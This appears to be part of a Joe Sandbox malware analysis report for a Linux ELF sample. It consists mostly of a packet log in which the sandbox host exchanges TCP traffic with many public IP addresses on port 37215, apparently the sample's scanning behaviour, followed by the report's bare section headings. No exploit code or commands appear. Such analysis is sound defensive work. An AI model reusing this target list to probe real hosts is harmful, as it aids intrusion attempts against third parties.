Jul 26, 2024 17:42:01.963704109 CEST	14150	37215	192.168.2.15	197.224.46.253
Jul 26, 2024 17:42:01.963710070 CEST	37215	14150	157.116.16.138	192.168.2.15
Jul 26, 2024 17:42:01.963718891 CEST	37215	14150	41.15.202.252	192.168.2.15
Jul 26, 2024 17:42:01.963726997 CEST	37215	14150	185.51.208.67	192.168.2.15
Jul 26, 2024 17:42:01.963732004 CEST	14150	37215	192.168.2.15	197.68.12.38
Jul 26, 2024 17:42:01.963733912 CEST	37215	14150	189.212.24.162	192.168.2.15
Jul 26, 2024 17:42:01.963735104 CEST	14150	37215	192.168.2.15	187.94.210.128
Jul 26, 2024 17:42:01.963742018 CEST	37215	14150	157.181.159.247	192.168.2.15
Jul 26, 2024 17:42:01.963748932 CEST	14150	37215	192.168.2.15	24.103.209.161
Jul 26, 2024 17:42:01.963748932 CEST	14150	37215	192.168.2.15	157.116.16.138
Jul 26, 2024 17:42:01.963749886 CEST	37215	14150	157.34.226.89	192.168.2.15
Jul 26, 2024 17:42:01.963751078 CEST	14150	37215	192.168.2.15	41.15.202.252
Jul 26, 2024 17:42:01.963751078 CEST	14150	37215	192.168.2.15	185.51.208.67
Jul 26, 2024 17:42:01.963758945 CEST	37215	14150	197.159.16.91	192.168.2.15
Jul 26, 2024 17:42:01.963768005 CEST	37215	14150	41.176.46.30	192.168.2.15
Jul 26, 2024 17:42:01.963773012 CEST	14150	37215	192.168.2.15	157.181.159.247
Jul 26, 2024 17:42:01.963776112 CEST	37215	14150	157.238.174.45	192.168.2.15
Jul 26, 2024 17:42:01.963783026 CEST	37215	14150	41.217.247.118	192.168.2.15
Jul 26, 2024 17:42:01.963789940 CEST	14150	37215	192.168.2.15	157.34.226.89
Jul 26, 2024 17:42:01.963792086 CEST	37215	14150	134.217.74.218	192.168.2.15
Jul 26, 2024 17:42:01.963799000 CEST	14150	37215	192.168.2.15	41.176.46.30
Jul 26, 2024 17:42:01.963799953 CEST	37215	14150	157.56.147.132	192.168.2.15
Jul 26, 2024 17:42:01.963803053 CEST	14150	37215	192.168.2.15	157.238.174.45
Jul 26, 2024 17:42:01.963809967 CEST	37215	14150	41.122.226.131	192.168.2.15
Jul 26, 2024 17:42:01.963816881 CEST	14150	37215	192.168.2.15	41.68.139.29
Jul 26, 2024 17:42:01.963816881 CEST	14150	37215	192.168.2.15	189.212.24.162
Jul 26, 2024 17:42:01.963816881 CEST	14150	37215	192.168.2.15	157.240.134.171
Jul 26, 2024 17:42:01.963816881 CEST	14150	37215	192.168.2.15	41.217.247.118
Jul 26, 2024 17:42:01.963816881 CEST	14150	37215	192.168.2.15	134.217.74.218
Jul 26, 2024 17:42:01.963829041 CEST	37215	14150	191.222.104.243	192.168.2.15
Jul 26, 2024 17:42:01.963836908 CEST	37215	14150	197.150.236.87	192.168.2.15
Jul 26, 2024 17:42:01.963838100 CEST	14150	37215	192.168.2.15	41.122.226.131
Jul 26, 2024 17:42:01.963845015 CEST	37215	14150	197.24.218.59	192.168.2.15
Jul 26, 2024 17:42:01.963852882 CEST	37215	14150	197.222.81.202	192.168.2.15
Jul 26, 2024 17:42:01.963860035 CEST	37215	14150	157.103.142.99	192.168.2.15
Jul 26, 2024 17:42:01.963867903 CEST	37215	14150	41.108.90.174	192.168.2.15
Jul 26, 2024 17:42:01.963867903 CEST	14150	37215	192.168.2.15	191.222.104.243
Jul 26, 2024 17:42:01.963867903 CEST	14150	37215	192.168.2.15	197.150.236.87
Jul 26, 2024 17:42:01.963876009 CEST	37215	14150	197.170.105.186	192.168.2.15
Jul 26, 2024 17:42:01.963881969 CEST	14150	37215	192.168.2.15	197.24.218.59
Jul 26, 2024 17:42:01.963884115 CEST	37215	14150	41.79.95.86	192.168.2.15
Jul 26, 2024 17:42:01.963891029 CEST	14150	37215	192.168.2.15	41.108.90.174
Jul 26, 2024 17:42:01.963891983 CEST	14150	37215	192.168.2.15	157.103.142.99
Jul 26, 2024 17:42:01.963897943 CEST	37215	14150	221.34.45.200	192.168.2.15
Jul 26, 2024 17:42:01.963907003 CEST	37215	14150	114.221.176.88	192.168.2.15
Jul 26, 2024 17:42:01.963910103 CEST	14150	37215	192.168.2.15	197.170.105.186
Jul 26, 2024 17:42:01.963916063 CEST	37215	14150	157.152.24.65	192.168.2.15
Jul 26, 2024 17:42:01.963923931 CEST	37215	14150	66.76.208.188	192.168.2.15
Jul 26, 2024 17:42:01.963929892 CEST	14150	37215	192.168.2.15	157.56.147.132
Jul 26, 2024 17:42:01.963929892 CEST	14150	37215	192.168.2.15	221.34.45.200
Jul 26, 2024 17:42:01.963932037 CEST	37215	14150	41.76.185.3	192.168.2.15
Jul 26, 2024 17:42:01.963932037 CEST	14150	37215	192.168.2.15	41.79.95.86
Jul 26, 2024 17:42:01.963939905 CEST	37215	14150	89.133.172.27	192.168.2.15
Jul 26, 2024 17:42:01.963948011 CEST	37215	14150	41.201.183.22	192.168.2.15
Jul 26, 2024 17:42:01.963948965 CEST	14150	37215	192.168.2.15	157.152.24.65
Jul 26, 2024 17:42:01.963958025 CEST	37215	14150	18.216.116.163	192.168.2.15
Jul 26, 2024 17:42:01.963967085 CEST	37215	14150	41.225.198.125	192.168.2.15
Jul 26, 2024 17:42:01.963973999 CEST	14150	37215	192.168.2.15	89.133.172.27
Jul 26, 2024 17:42:01.963973999 CEST	14150	37215	192.168.2.15	41.201.183.22
Jul 26, 2024 17:42:01.963974953 CEST	37215	14150	114.119.153.135	192.168.2.15
Jul 26, 2024 17:42:01.963983059 CEST	37215	14150	197.40.196.170	192.168.2.15
Jul 26, 2024 17:42:01.963990927 CEST	37215	14150	41.43.54.3	192.168.2.15
Jul 26, 2024 17:42:01.963995934 CEST	14150	37215	192.168.2.15	18.216.116.163
Jul 26, 2024 17:42:01.963998079 CEST	37215	14150	41.247.4.203	192.168.2.15
Jul 26, 2024 17:42:01.964005947 CEST	37215	14150	157.31.70.151	192.168.2.15
Jul 26, 2024 17:42:01.964008093 CEST	14150	37215	192.168.2.15	197.222.81.202
Jul 26, 2024 17:42:01.964008093 CEST	14150	37215	192.168.2.15	66.76.208.188
Jul 26, 2024 17:42:01.964008093 CEST	14150	37215	192.168.2.15	41.225.198.125
Jul 26, 2024 17:42:01.964015961 CEST	14150	37215	192.168.2.15	197.40.196.170
Jul 26, 2024 17:42:01.964021921 CEST	37215	14150	41.101.178.90	192.168.2.15
Jul 26, 2024 17:42:01.964025021 CEST	14150	37215	192.168.2.15	41.247.4.203
Jul 26, 2024 17:42:01.964034081 CEST	37215	14150	157.178.2.174	192.168.2.15
Jul 26, 2024 17:42:01.964044094 CEST	37215	14150	197.41.246.36	192.168.2.15
Jul 26, 2024 17:42:01.964050055 CEST	37215	14150	41.106.197.1	192.168.2.15</

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report WIwTo1UTMq.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
WIwTo1UTMq.elf